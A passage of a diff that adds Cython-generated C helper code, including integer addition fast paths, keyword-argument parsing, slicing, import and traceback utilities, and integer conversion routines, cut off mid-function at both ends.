const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; + const digit* digits = ((PyLongObject*)op1)->ob_digit; + const Py_ssize_t size = Py_SIZE(op1); + if (likely(__Pyx_sst_abs(size) <= 1)) { + a = likely(size) ? digits[0] : 0; + if (size == -1) a = -a; + } else { + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + } + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; + double a = PyFloat_AS_DOUBLE(op1); + double result; + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* RaiseArgTupleInvalid */ + static void __Pyx_RaiseArgtupleInvalid( + const char* func_name, + int exact, + Py_ssize_t num_min, + Py_ssize_t num_max, + Py_ssize_t num_found) +{ + Py_ssize_t num_expected; + const char *more_or_less; + if (num_found < num_min) { + num_expected = num_min; + more_or_less = "at least"; + } else { + num_expected = num_max; + more_or_less = "at most"; + } + if (exact) { + more_or_less = "exactly"; + } + PyErr_Format(PyExc_TypeError, + "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", + func_name, more_or_less, num_expected, + (num_expected == 1) ? "" : "s", num_found); +} + +/* RaiseDoubleKeywords */ + static void __Pyx_RaiseDoubleKeywordsError( + const char* func_name, + PyObject* kw_name) +{ + PyErr_Format(PyExc_TypeError, + #if PY_MAJOR_VERSION >= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ + static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + while (PyDict_Next(kwds, &pos, &key, &value)) { + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; + continue; + } + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = (**name == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + PyErr_Format(PyExc_TypeError, + #if PY_MAJOR_VERSION < 3 + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + return -1; +} + +/* PyObjectCall */ + #if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = func->ob_type->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* GetItemInt */ + static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (!j) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_COMPILING_IN_CPYTHON + if (wraparound & unlikely(i < 0)) i += PyList_GET_SIZE(o); + if ((!boundscheck) || likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_COMPILING_IN_CPYTHON + if (wraparound & unlikely(i < 0)) i += PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_COMPILING_IN_CPYTHON + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; + if (likely(m && m->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { + Py_ssize_t l = m->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return m->sq_item(o, i); + } + } +#else + if (is_list || PySequence_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* UnicodeAsUCS4 */ + static CYTHON_INLINE Py_UCS4 __Pyx_PyUnicode_AsPy_UCS4(PyObject* x) { + Py_ssize_t length; + #if CYTHON_PEP393_ENABLED + length = PyUnicode_GET_LENGTH(x); + if (likely(length == 1)) { + return PyUnicode_READ_CHAR(x, 0); + } + #else + length = PyUnicode_GET_SIZE(x); + if (likely(length == 1)) { + return PyUnicode_AS_UNICODE(x)[0]; + } + #if Py_UNICODE_SIZE == 2 + else if (PyUnicode_GET_SIZE(x) == 2) { + Py_UCS4 high_val = PyUnicode_AS_UNICODE(x)[0]; + if (high_val >= 0xD800 && high_val <= 0xDBFF) { + Py_UCS4 low_val = PyUnicode_AS_UNICODE(x)[1]; + if (low_val >= 0xDC00 && low_val <= 0xDFFF) { + return 0x10000 + (((high_val & ((1<<10)-1)) << 10) | (low_val & ((1<<10)-1))); + } + } + } + #endif + #endif + PyErr_Format(PyExc_ValueError, + "only single character unicode strings can be converted to Py_UCS4, " + "got length %" CYTHON_FORMAT_SSIZE_T "d", length); + return (Py_UCS4)-1; +} + +/* object_ord */ + static long __Pyx__PyObject_Ord(PyObject* c) { + Py_ssize_t size; + if (PyBytes_Check(c)) { + size = PyBytes_GET_SIZE(c); + if (likely(size == 1)) { + return (unsigned char) PyBytes_AS_STRING(c)[0]; + } +#if PY_MAJOR_VERSION < 3 + } else if (PyUnicode_Check(c)) { + return (long)__Pyx_PyUnicode_AsPy_UCS4(c); +#endif +#if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + } else if (PyByteArray_Check(c)) { + size = PyByteArray_GET_SIZE(c); + if (likely(size == 1)) { + return (unsigned char) PyByteArray_AS_STRING(c)[0]; + } +#endif + } else { + PyErr_Format(PyExc_TypeError, + "ord() expected string of length 1, but %.200s found", c->ob_type->tp_name); + return (long)(Py_UCS4)-1; + } + PyErr_Format(PyExc_TypeError, + "ord() expected a character, but string of length %zd found", size); + return (long)(Py_UCS4)-1; +} + +/* PyObjectCallMethO */ + #if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = PyCFunction_GET_FUNCTION(func); + self = PyCFunction_GET_SELF(func); + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallOneArg */ + #if CYTHON_COMPILING_IN_CPYTHON +static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *result; + PyObject *args = PyTuple_New(1); + if (unlikely(!args)) return NULL; + Py_INCREF(arg); + PyTuple_SET_ITEM(args, 0, arg); + result = __Pyx_PyObject_Call(func, args, NULL); + Py_DECREF(args); + return result; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { +#ifdef __Pyx_CyFunction_USED + if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { +#else + if (likely(PyCFunction_Check(func))) { +#endif + if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { + return __Pyx_PyObject_CallMethO(func, arg); + } + } + return __Pyx__PyObject_CallOneArg(func, arg); +} +#else +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *result; + PyObject *args = PyTuple_Pack(1, arg); + if (unlikely(!args)) return NULL; + result = __Pyx_PyObject_Call(func, args, NULL); + Py_DECREF(args); + return result; +} +#endif + +/* PyObjectCallNoArg */ + #if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { +#ifdef __Pyx_CyFunction_USED + if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { +#else + if (likely(PyCFunction_Check(func))) { +#endif + if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { + return __Pyx_PyObject_CallMethO(func, NULL); + } + } + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); +} +#endif + +/* None */ + static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { + PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); +} + +/* SliceObject */ + static CYTHON_INLINE PyObject* __Pyx_PyObject_GetSlice(PyObject* obj, + Py_ssize_t cstart, Py_ssize_t cstop, + PyObject** _py_start, PyObject** _py_stop, PyObject** _py_slice, + int has_cstart, int has_cstop, CYTHON_UNUSED int wraparound) { +#if CYTHON_COMPILING_IN_CPYTHON + PyMappingMethods* mp; +#if PY_MAJOR_VERSION < 3 + PySequenceMethods* ms = Py_TYPE(obj)->tp_as_sequence; + if (likely(ms && ms->sq_slice)) { + if (!has_cstart) { + if (_py_start && (*_py_start != Py_None)) { + cstart = __Pyx_PyIndex_AsSsize_t(*_py_start); + if ((cstart == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; + } else + cstart = 0; + } + if (!has_cstop) { + if (_py_stop && (*_py_stop != Py_None)) { + cstop = __Pyx_PyIndex_AsSsize_t(*_py_stop); + if ((cstop == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; + } else + cstop = PY_SSIZE_T_MAX; + } + if (wraparound && unlikely((cstart < 0) | (cstop < 0)) && likely(ms->sq_length)) { + Py_ssize_t l = ms->sq_length(obj); + if (likely(l >= 0)) { + if (cstop < 0) { + cstop += l; + if (cstop < 0) cstop = 0; + } + if (cstart < 0) { + cstart += l; + if (cstart < 0) cstart = 0; + } + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + goto bad; + PyErr_Clear(); + } + } + return ms->sq_slice(obj, cstart, cstop); + } +#endif + mp = Py_TYPE(obj)->tp_as_mapping; + if (likely(mp && mp->mp_subscript)) +#endif + { + PyObject* result; + PyObject *py_slice, *py_start, *py_stop; + if (_py_slice) { + py_slice = *_py_slice; + } else { + PyObject* owned_start = NULL; + PyObject* owned_stop = NULL; + if (_py_start) { + py_start = *_py_start; + } else { + if (has_cstart) { + owned_start = py_start = PyInt_FromSsize_t(cstart); + if (unlikely(!py_start)) goto bad; + } else + py_start = Py_None; + } + if (_py_stop) { + py_stop = *_py_stop; + } else { + if (has_cstop) { + owned_stop = py_stop = PyInt_FromSsize_t(cstop); + if (unlikely(!py_stop)) { + Py_XDECREF(owned_start); + goto bad; + } + } else + py_stop = Py_None; + } + py_slice = PySlice_New(py_start, py_stop, Py_None); + Py_XDECREF(owned_start); + Py_XDECREF(owned_stop); + if (unlikely(!py_slice)) goto bad; + } +#if CYTHON_COMPILING_IN_CPYTHON + result = mp->mp_subscript(obj, py_slice); +#else + result = PyObject_GetItem(obj, py_slice); +#endif + if (!_py_slice) { + Py_DECREF(py_slice); + } + return result; + } + PyErr_Format(PyExc_TypeError, + "'%.200s' object is unsliceable", Py_TYPE(obj)->tp_name); +bad: + return NULL; +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *empty_list = 0; + PyObject *module = 0; + PyObject *global_dict = 0; + PyObject *empty_dict = 0; + PyObject *list; + #if PY_VERSION_HEX < 0x03030000 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (!py_import) + goto bad; + #endif + if (from_list) + list = from_list; + else { + empty_list = PyList_New(0); + if (!empty_list) + goto bad; + list = empty_list; + } + global_dict = PyModule_GetDict(__pyx_m); + if (!global_dict) + goto bad; + empty_dict = PyDict_New(); + if (!empty_dict) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.')) { + #if PY_VERSION_HEX < 0x03030000 + PyObject *py_level = PyInt_FromLong(1); + if (!py_level) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, global_dict, empty_dict, list, py_level, NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, global_dict, empty_dict, list, 1); + #endif + if (!module) { + if (!PyErr_ExceptionMatches(PyExc_ImportError)) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_VERSION_HEX < 0x03030000 + PyObject *py_level = PyInt_FromLong(level); + if (!py_level) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, global_dict, empty_dict, list, py_level, NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, global_dict, empty_dict, list, level); + #endif + } + } +bad: + #if PY_VERSION_HEX < 0x03030000 + Py_XDECREF(py_import); + #endif + Py_XDECREF(empty_list); + Py_XDECREF(empty_dict); + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* CodeObjectCache */ + static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyObject *py_srcfile = 0; + PyObject *py_funcname = 0; + #if PY_MAJOR_VERSION < 3 + py_srcfile = PyString_FromString(filename); + #else + py_srcfile = PyUnicode_FromString(filename); + #endif + if (!py_srcfile) goto bad; + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + #else + py_funcname = PyUnicode_FromString(funcname); + #endif + } + if (!py_funcname) goto bad; + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + Py_DECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_srcfile); + Py_XDECREF(py_funcname); + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + py_code = __pyx_find_code_object(c_line ? c_line : py_line); + if (!py_code) { + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) goto bad; + __pyx_insert_code_object(c_line ? c_line : py_line, py_code); + } + py_frame = PyFrame_New( + PyThreadState_GET(), /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + py_frame->f_lineno = py_line; + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { + const long neg_one = (long) -1, const_zero = (long) 0; + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); + } + } + { + int one = 1; int little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&value; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); + } +} + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value) { + const int neg_one = (int) -1, const_zero = (int) 0; + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(int) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(int) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); + } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); + } + } else { + if (sizeof(int) <= sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); + } + } + { + int one = 1; int little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&value; + return _PyLong_FromByteArray(bytes, sizeof(int), + little, !is_unsigned); + } +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { + const int neg_one = (int) -1, const_zero = (int) 0; + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if (sizeof(int) < sizeof(long)) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } else +#endif + if (likely(PyLong_Check(x))) { + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + const digit* digits = ((PyLongObject*)x)->ob_digit; + switch (Py_SIZE(x)) { + case 0: return (int) 0; + case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) + case 2: + if (8 * sizeof(int) > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if (8 * sizeof(int) > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { + return (int) 